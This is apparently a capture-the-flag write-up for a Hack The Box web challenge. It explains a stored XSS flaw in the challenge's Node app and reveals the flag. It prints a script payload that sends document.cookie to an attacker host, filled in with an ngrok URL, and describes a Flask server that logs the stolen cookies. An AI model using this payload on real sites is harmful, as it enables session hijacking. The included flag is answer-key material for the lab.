The work is going well on Santa's toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?
-
Let's start by looking at the
challenge/index.js
file in the source code zip. The application connects to a sqlite database (const db = new Database('toy_workshop.db');
), so lets look atdatabase.js
. -
database.js
allows for adding and reading items from the database. While we do control thequery
variable via the website, it does not look like we would be able to accomplish anything using an SQL injection. -
Let's look at the
challenge/routes/index.js
file. There is an/api/submit
endpoint which the frontend posts user data to. This function adds our user input, called a query, to the database and then callsbot.readQueries(db)
. The/queries
endpoint simply returns all the queries contained in the database. We cannot access the/queries
endpoint because the IP address must be127.0.0.1
, which is the localhost loopback address, otherwise the page redirects to/
. -
Next, let's check out
challenge/bot.js
so we can figure out whatbot.readQueries(db)
does.bot.js
imports puppeteer, a headless Chromium browser controlled via JavaScript, defines aflag
variable that holds the flag, loads the index page of the application, sets theflag
cookie in the browser, visits the/queries
endpoint, and then exits. -
This is a stored cross-site scripting vulnerability (Stored XSS). We can send a malicious script through the frontend to the database. When a user visits the
/queries
page, the server will serve the malicious code to the user. We can craft our malicious code to grab the current cookies and then redirect to a webpage we control with those cookies as parameters in the request. -
The malicious code is standard XSS code:
<script>document.location='http://<ATTACKER_SERVER>?c='+document.cookie;</script>
. We redirect to our webpage by changing thedocument.location
and we set thec
argument todocument.cookie
, which contains the current page's cookies. -
However, we need to actually run a server to receive this request and log the cookie. There is a basic Flask, a micro web framework written in Python, application that does exactly this in xss-cookie-stealer.py. The script defines one route,
/
, that will read thec
parameter in the request URL, open a file calledcookies.txt
, write the contents of thec
parameter to that file, and then redirect tohttps://google.com
. We run this server on all interfaces (0.0.0.0
) on port16361
. -
You can run this script anywhere that is internet accessible. For instance you can port forward port
16361
through your router or you could deploy a machine on Google Cloud. But, the easiest method is to use ngrok. -
Create an account at https://ngrok.com/, download the application, and get logged in. Now, start the Flask python server with
python xss-cookie-stealer.py
and then run/ngrok http 16361
. Ngrok will display a URL in the formhttp://<subdomain>.ngrok.io
. -
Paste your ngrok URL into the malicious payload. If ngrok said my URL was
http://92832de0.ngrok.io
, then the payload should be<script>document.location='http://92832de0.ngrok.io?c='+document.cookie;</script>
-
Finally, paste the payload into the frontend for the application, wait a few second for the puppeteer instance to start and load the page, and then you should see the flag in your terminal running Flask and in the
cookies.txt
file.
HTB{3v1l_3lv3s_4r3_r1s1ng_up!}